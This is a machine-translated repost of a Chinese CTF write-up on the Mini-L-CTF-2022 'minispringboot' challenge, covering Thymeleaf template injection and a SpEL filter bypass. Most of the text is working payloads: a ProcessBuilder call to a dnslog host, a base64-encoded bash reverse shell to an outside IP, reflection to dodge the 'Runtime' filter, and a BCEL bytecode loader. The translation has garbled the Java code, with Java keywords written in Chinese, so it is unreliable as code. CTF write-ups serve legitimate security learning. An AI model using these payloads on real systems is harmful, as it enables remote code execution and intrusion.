Mini,迷你

MiniMini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过
就是一个低版本的Thymeleaf注入
漏洞点
public class MainController {GetMapp

Mini-L-CTF-2022 minispringboot Thymeleaf模板注入 spel的绕过

低版本Thymeleaf注射液

漏洞点

公共类主控制器{

@GetMapping({\’/{语言}\’})

public String test(@PathVariable(name=\’ language\’) string language, @RequestParam(required=false) string name, model model) {

如果(名称!=空){

model.addAttribute(\’名称\’, 名称);

返回语言+ \’/game\’。

}

返回语言+ \’/index\’。

}

可以看到可以控制路由和返回值。这非常简单,就像设置一样。

__${}__:x

主要看到的是spel绕过、waf

if (Pattern.matches(\’.*new.*|.*untime.*\’, requestURI))

我禁用了new 和untime,即运行时

事实上,ProcessBuilder也可以执行命令。

例如

__${new ProcessBuilder(\’curl xxx.dnslog.cn\’).start()}__:x

如何绕过new,这里是关键词

1.只需使用“新建”

然后重新绑定外壳。这就需要base64编码和解码。

http://192.168.238.165:49153/__${new ProcessBuilder(\’bash\’,\’-c\’,\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i }\’).start() }__:x

然后,如果您想避免运行时,请使用

可以反射地调用

\’\’.getClass().forName(\’java.lang.Run\’+\’time\’).getMethod(\’exec\’, \’\’.getClass()).invoke(\’\’.getClass().forName(\’java. lang.Run\’+\’time\’).getMethod(\’getRun\’+\’time\’).invoke(\’\’.getClass().forName(\’java.lang.Run\’+\’time\’)),\’bash -c {回声,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjAxLjE2My8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\’)

或者动态加载字节码

使用BCEL或者Spring自己的字节码

__${\’\’.getClass().forName(\’java.lang.Class\’).getDeclaredMethod(\’n\’+\’ewInstance\’).invoke(New com.sun.org.apache.bcel.internal.util.ClassLoader ().loadClass(\’$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3d$D$85$96ZDP$7c$bf$9 f$e8$c2n$dci$5ch41$d6G$c4$e8z$Y$t8$88$z$v$83$f1$8f$5c$bbQ$e3$c2$P$f0$a3$8cw$w$a2$896 $e9$7d$9d$7b$ce$bd$b7$7d$ffx$7d$D$b0$81e$X$OF$5c$8cb$cc$c1$b8$f1$T6$s$5dd0ec$da $c6$MCvK$85Jo3$a4$x$ab$X$M$d6nt$r$Z$K$81$K$e5q$e7$b6$s$e3s$5ekR$a5$UD$827$_x$acL$de $zZ$faZ$b5$Z$fa$82$9d$dd$bd$c0$t$5cl28$5b$a2$d9$d5d$d4S$O$g$fc$8e$fb$w$f2$PN$ f6$ee$85li$V$85$d4$96$afj$$n$8ex$x$d1$a2$b5$Y$dcj$d4$89$85$dcWF$3bg$e4$d6$N$d7C$O$ae $8dY$Ps$98$a7$a1$G$f0$b0$80E$86$c1$7f$b4$3d$y$c1$r$7eo$t$86$81$a4$ad$c9$c3$ba$7fRkH $a1$Z$8a$3f$a5$b3N$a8$d5$z$8dt$ebR$f7$92re5$f8$d3C$7b$5b$f2$5e$92$e4J$e5$XZ$d5$b1$ K$eb$9b$bf$J$a7q$qd$bbM$84B$8b$40$9d$5c$7b$ks$n$e9$K$9b$7e$8byR$60$e66$b2$7d$94$f9 $e4$Z$f9$cc$da3$d8c$C$7bd$b3_E$e4$c9z$dd$b8$l$F$f2$O$Gzd$9e$88$B$a5$X$a4J$e9$ tX$97$Pp$O$d7$9e$90$7dL$ea9$e2f$90N$U$87$v2$ec$i1$cd$c7$cd$93J$91$a2$ef$JyX$94$97$u$h$ a4$d7F$w$b01d$RPN$96$g$fe$E$93$b3$9a$L$60$C$A$A\’))}__:x

以上关于#Mini的相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93185.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月5日 下午4:05
下一篇 2024年7月5日 下午4:22

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注